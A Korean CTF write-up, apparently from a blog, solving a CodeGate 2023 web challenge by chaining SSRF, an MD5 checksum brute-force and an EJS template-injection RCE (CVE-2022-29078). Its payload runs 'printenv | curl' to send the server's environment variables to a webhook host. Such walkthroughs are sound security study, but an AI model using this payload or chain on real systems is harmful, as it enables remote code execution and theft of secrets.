
2년 전의 문제를 빌드하여 분석하다 보니 여러 문제가 존재해 문제 페이지에 접근했을 때 문제를 식별 불가하기에 바로 코드분석을 수행하였다.
// /server/app/main.js
/*
1. Packages are the latest.
(as of June 2023)
2. This is a ChatGPT-oriented code.
(Ref. https://twitter.com/brokenpacifist/status/1650955597414809600)
3. https://fe.gy/ stores copyright-free music data.
Attacking the infrastructure (includes DDoS, dirbusting, etc.) is strictly prohibited.
*/
// the "cheese"
process.env.NODE_ENV = "production"
const SECRET = process.env.SECRET || "CHEESE_SECRET"
const FLAG = process.env.FLAG || "codegate2023{some sameple flag for you}"
const REDIS_URL_CACHE = process.env.REDIS_URL_CACHE || "redis://127.0.0.1:6379/0"
const REDIS_URL_QUERY = process.env.REDIS_URL_QUERY || "redis://127.0.0.1:6379/1"
const STATIC_HOST = process.env.STATIC_HOST || "http://localhost:5000/"
const DIFFICULTY = process.env.DIFFICULTY || 7
const APP_HOST = process.env.APP_HOST || "0.0.0.0"
const APP_PORT = process.env.APP_PORT || 5000
// express
const axios = require("axios")
const dns = require("dns")
const express = require("express")
const fs = require("fs")
const ip = require("ip")
const session = require("express-session")
const Redis = require("ioredis")
const crypto = require("crypto")
const cookieParser = require("cookie-parser")
// streaming contents
const contentList = fs.readFileSync("list.xml", { encoding: "utf8", flag: "r" })
const allowedContentTypes = ["audio/mpeg", "audio/mp3", "audio/wav", "audio/ogg"]
// basic express setup
const app = express()
app.use(express.json())
app.use(cookieParser())
app.disable("x-powered-by")
app.set("title", "CODEGATE Music Player API")
app.set("view engine", "ejs")
app.use(session({
secret: SECRET + FLAG,
resave: true,
saveUninitialized: true,
cookie: {
secure: false
}
}))
// basic db setup
const redisCache = new Redis(REDIS_URL_CACHE)
const redisQuery = new Redis(REDIS_URL_QUERY)
// get last n characters of md5 result
const getLastCharacterMD5 = (s, n) => {
const md5Hash = crypto.createHash("md5").update(s).digest("hex")
const lastNCharacters = md5Hash.slice(-n)
return lastNCharacters
}
// generate random string
const generateRandomString = (length) => {
const characters = "abcdef0123456789"
let result = ""
for (let i = 0; i < length; i++) {
const randomIndex = Math.floor(Math.random() * characters.length)
result += characters.charAt(randomIndex)
}
return result
}
// unified send to reduce code lines
const sendResponse = (res, message, status=200) => {
res.status(status)
res.write(message)
res.send()
}
// check internal ip
const isInternalIP = (ipAddress) => {
return ip.isPrivate(ipAddress)
}
// get ip address
const getIPAddress = (domain) => {
return new Promise((resolve, reject) => {
dns.lookup(domain, (error, addresses) => {
if (error) {
resolve(domain)
} else {
resolve(addresses)
}
})
})
}
// fetch streaming
app.get("/api/list", (req, res) => {
return sendResponse(res, contentList)
})
// run streaming
app.get("/api/stream/:url", (req, res) => {
try {
let url = req.params.url
const domain = new URL(url).hostname
// prevent memory overload
redisCache.dbsize((err, result) => {
if(result >= 256){
redisCache.flushdb()
}
})
// preventing DNS attacks, etc.
getIPAddress(domain)
.then(ipAddress => {
if(!url.startsWith("http://") && !url.startsWith("https://")){
url = STATIC_HOST.concat(url).replace("..", "").replace("%2e%2e", "").replace("%2e.", "").replace(".%2e", "")
}else{
if(isInternalIP(ipAddress)) return sendResponse(res, "No Hack!", 500)
}
// redis || axios
redisCache.get(url.split("?")[0], (err, result) => {
if (err || !result){
axios
.get(url, { responseType: "arraybuffer", timeout: 3000 })
.then(response => {
if (!allowedContentTypes.includes(response.headers["content-type"])){
return sendResponse(res, "Not a valid music file", 500)
}
if (response.data.byteLength >= 1024 * 1024 * 3) {
return sendResponse(res, "Music file is too big", 500)
}
redisCache.set(url, response.data.toString("hex"))
console.log(url)
return sendResponse(res, response.data)
})
.catch(err => {
return sendResponse(res, "No Hack!", 500)
})
}else{
return sendResponse(res, Buffer.from(result, "hex"))
}
})
})
.catch(e => {
return sendResponse(res, "No Hack!", 500)
})
} catch (err) {
return sendResponse(res, "Failed Streaming!", 500)
}
})
// inquiry
app.get("/api/inquiry", (req, res) => {
if(!req.session.lastValue || !req.session.lastLength){
req.session.lastLength = DIFFICULTY
req.session.lastValue = generateRandomString(DIFFICULTY)
return sendResponse(res, `${req.session.lastLength}/${req.session.lastValue}`)
}
if(!req.query.url || typeof req.query.url !== "string"){
return sendResponse(res, "No Hack!", 500)
}
if(!req.query.checksum || getLastCharacterMD5((req.query.checksum || ''), DIFFICULTY) !== req.session.lastValue){
req.session.lastLength = DIFFICULTY
req.session.lastValue = generateRandomString(DIFFICULTY)
return sendResponse(res, `${req.session.lastLength}/${req.session.lastValue}`, 500)
}
redisQuery.rpush("query", req.query.url)
req.session.lastLength = DIFFICULTY
req.session.lastValue = generateRandomString(DIFFICULTY)
return sendResponse(res, "Complete")
})
// inquiry
app.post("/api/messages", (req, res) => {
const { id } = req.body
if (!req.cookies["SECRET"] || req.cookies["SECRET"] !== SECRET) {
return sendResponse(res, "Nope", 403)
}
return res.render("admin", {...id})
})
// get flag
app.patch("/api/flag", (req, res) => {
const { flag } = req.body
if (!req.cookies["SECRET"] || req.cookies[SECRET] !== FLAG) {
return sendResponse(res, "Nope", 403)
}
return res.render("flag", flag)
})
// 404
app.get("*", (req, res) => {
return sendResponse(res, "404", 404)
})
// start
const start = async () => {
try {
await app.listen(APP_PORT, APP_HOST)
} catch(err) {
app.log.error(err)
process.exit(1)
}
}
start()
server 디렉터리의 main.js의 코드이다.
flag에 집중해서 코드를 분석했을 때, /api/flag 경로에 PATCH 메서드로 접근 + SECRET 쿠키 값이 flag일 경우 flag를 반환하고 있었다.
또한 /api/messages 경로엔 SECRET 쿠키 값이 본문 코드에 정의된 SECRET 변수 값일 경우 admin 페이지를 랜더링 한다는 것을 알 수 있었다. admin.ejs 파일은 제공되지 않았다.
그러나 admin 페이지를 랜더링 할 때, 같이 전달받은 id값을 별도의 처리과정 없이 admin 페이지로 전달하며 SSTI 취약점이 트리거 가능하리라 추측이 가능했다.
/api/stream 경로는 SSRF를 필터링으로 방지하고 url을 받아 해당 url의 응답 결과를 반환해 주는 경로이며
/api/inquery 경로에선 몇 가지 조건문을 통과하면 Redis로 url을 push 할 수 있고, 이렇게 push 된 url은 추후 worker 디렉터리의 worker가 SECRET 쿠키 값으로 SECRET 변수 값을 가진 채로 방문하게 된다.
CVE-2022-29078
Node.js의 템플릿 엔진인 EJS에서 발생하는 취약점으로 3.1.6 버전 이하 버전에서 발생하는 SSTI RCE 취약점이다.
EJS는 템플릿을 랜더링 할 시 각 요청마다 독립적인 설정을 유지하기 위해 사용자가 전달한 옵션 객체등을 복사하여 적용하게 되는데, 이때 EJS가 shallow copy 즉 얕은 복사를 통해 객체의 최상위 속성만 복사되고,
중첩된 객체는 원본 객체와 참조를 공유해 한 요청에서 객체를 수정하면 다른 요청에서도 해당 변경이 반영되는 취약점으로, 사용자가 임의적으로 템플릿 내의 함수를 변경 가능해 exec 등의 함수를 불러와 이를 통해 RCE가 가능한 취약점이다.
Payload
<?php
header('Content-Type: audio/mpeg');
?>
<!doctype html>
<script>
(async () => {
const r = await fetch('/api/messages', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
id: {
settings: {
'view options': {
client: true,
escapeFunction: '1;process.mainModule.require(`child_process`).exec(`printenv | curl https://webhook.site/… -d @-`);'
}
}
}
})
});
})();
</script>
따라서 위와 같이 취약점을 트리거해 환경 변수를 모두 base64 인코딩하여 지정한 web hook 사이트로 보내는 페이지를 구축한 다음,
worker의 쿠키 속성 중 cookie["domain"] = "nginx"을 만족시켜 주기 위해 /api/stream/:url 경로의 url로 해당 url을 전달한 다음 /api/inquery에서 이 전체 url을 전달한다면 bot이 이를 방문하며 flag를 반환할 것이다.
다만 /api/inquery와 /api/stream/:url의 조건문을 우회하기 위해 별도의 과정이 추가적으로 필요하다.
// /server/app/main.js
// /api/inquery
if(!req.session.lastValue || !req.session.lastLength){
req.session.lastLength = DIFFICULTY
req.session.lastValue = generateRandomString(DIFFICULTY)
return sendResponse(res, `${req.session.lastLength}/${req.session.lastValue}`)
}
if(!req.query.url || typeof req.query.url !== "string"){
return sendResponse(res, "No Hack!", 500)
}
if(!req.query.checksum || getLastCharacterMD5((req.query.checksum || ''), DIFFICULTY) !== req.session.lastValue){
req.session.lastLength = DIFFICULTY
req.session.lastValue = generateRandomString(DIFFICULTY)
return sendResponse(res, `${req.session.lastLength}/${req.session.lastValue}`, 500)
}
- 세션에 lastLength와 lastValue가 없을 경우 길이와 무작위 문자열을 생성해 반환
- 쿼리 파라미터로 전달된 url과 checksum 값이 존재해야 함
- checksum의 MD5 해싱 결과 뒤 6자리가 lastValue와 일치해야 함
위 조건을 만족할 경우에만 Redis로 url을 push가능하다.
import hashlib
target = "[ lastValue ]"
def getLastCharacterMD5(s, n):
md5Hash = hashlib.md5(s.encode()).hexdigest()
lastNCharacters = md5Hash[-n:]
return lastNCharacters
def brute_hash(target_hash):
found = False
attempt = 0
string_to_hash = ""
while not found:
attempt += 1
string_to_hash = str(attempt)
last_six_chars = getLastCharacterMD5(string_to_hash, 6)
if last_six_chars == target_hash:
found = True
print(f"String: {string_to_hash}")
print(f"MD5 Hash: {getLastCharacterMD5(string_to_hash, 6)}")
break
print("Brute force complete!")
return string_to_hash
checksum = brute_hash(target)
따라서 위 코드를 통해 checksum 값을 구해 전달해 주면 /api/inquery의 필터링을 우회 가능하다.
// /server/app/main.js
app.get("/api/stream/:url", (req, res) => {
try {
let url = req.params.url
const domain = new URL(url).hostname
// prevent memory overload
redisCache.dbsize((err, result) => {
if(result >= 256){
redisCache.flushdb()
}
})
// preventing DNS attacks, etc.
getIPAddress(domain)
.then(ipAddress => {
if(!url.startsWith("http://") && !url.startsWith("https://")){
url = STATIC_HOST.concat(url).replace("..", "").replace("%2e%2e", "").replace("%2e.", "").replace(".%2e", "")
}else{
if(isInternalIP(ipAddress)) return sendResponse(res, "No Hack!", 500)
}
// redis || axios
redisCache.get(url.split("?")[0], (err, result) => {
if (err || !result){
axios
.get(url, { responseType: "arraybuffer", timeout: 3000 })
.then(response => {
if (!allowedContentTypes.includes(response.headers["content-type"])){
return sendResponse(res, "Not a valid music file", 500)
}
if (response.data.byteLength >= 1024 * 1024 * 3) {
return sendResponse(res, "Music file is too big", 500)
}
redisCache.set(url, response.data.toString("hex"))
console.log(url)
return sendResponse(res, response.data)
})
.catch(err => {
return sendResponse(res, "No Hack!", 500)
})
}else{
return sendResponse(res, Buffer.from(result, "hex"))
}
})
})
.catch(e => {
return sendResponse(res, "No Hack!", 500)
})
} catch (err) {
return sendResponse(res, "Failed Streaming!", 500)
}
})
/api/stream의 경우 전달되는 url이 내부 IP가 아니어야 하고, content-type이 const allowedContentTypes, 즉 ["audio/mpeg", "audio/mp3", "audio/wav", "audio/ogg"] 중 하나여야 한다.
이를 모두 설정해 준다면 최종 페이로드는 다음과 같다.
url = http://[url]/api/inquiry?url=http%3A%2F%2Fnginx%2Fapi%2Fstream%2Fhttp%253A%252F%252F[url]%252Fsolve%2Ephp&checksum={checksum}
'CTF' 카테고리의 다른 글
| [CodeGate 2024] Cha s Wall (0) | 2025.03.22 |
|---|---|
| [CodeGate 2023] AI (0) | 2025.03.21 |
| [CodeGate 2023] Calculator (0) | 2025.03.20 |
| [ISITDTU CTF] Another one Write-Up (0) | 2025.02.27 |
| [hkcert] Custom-Web-Server(1) Write Up (0) | 2025.02.27 |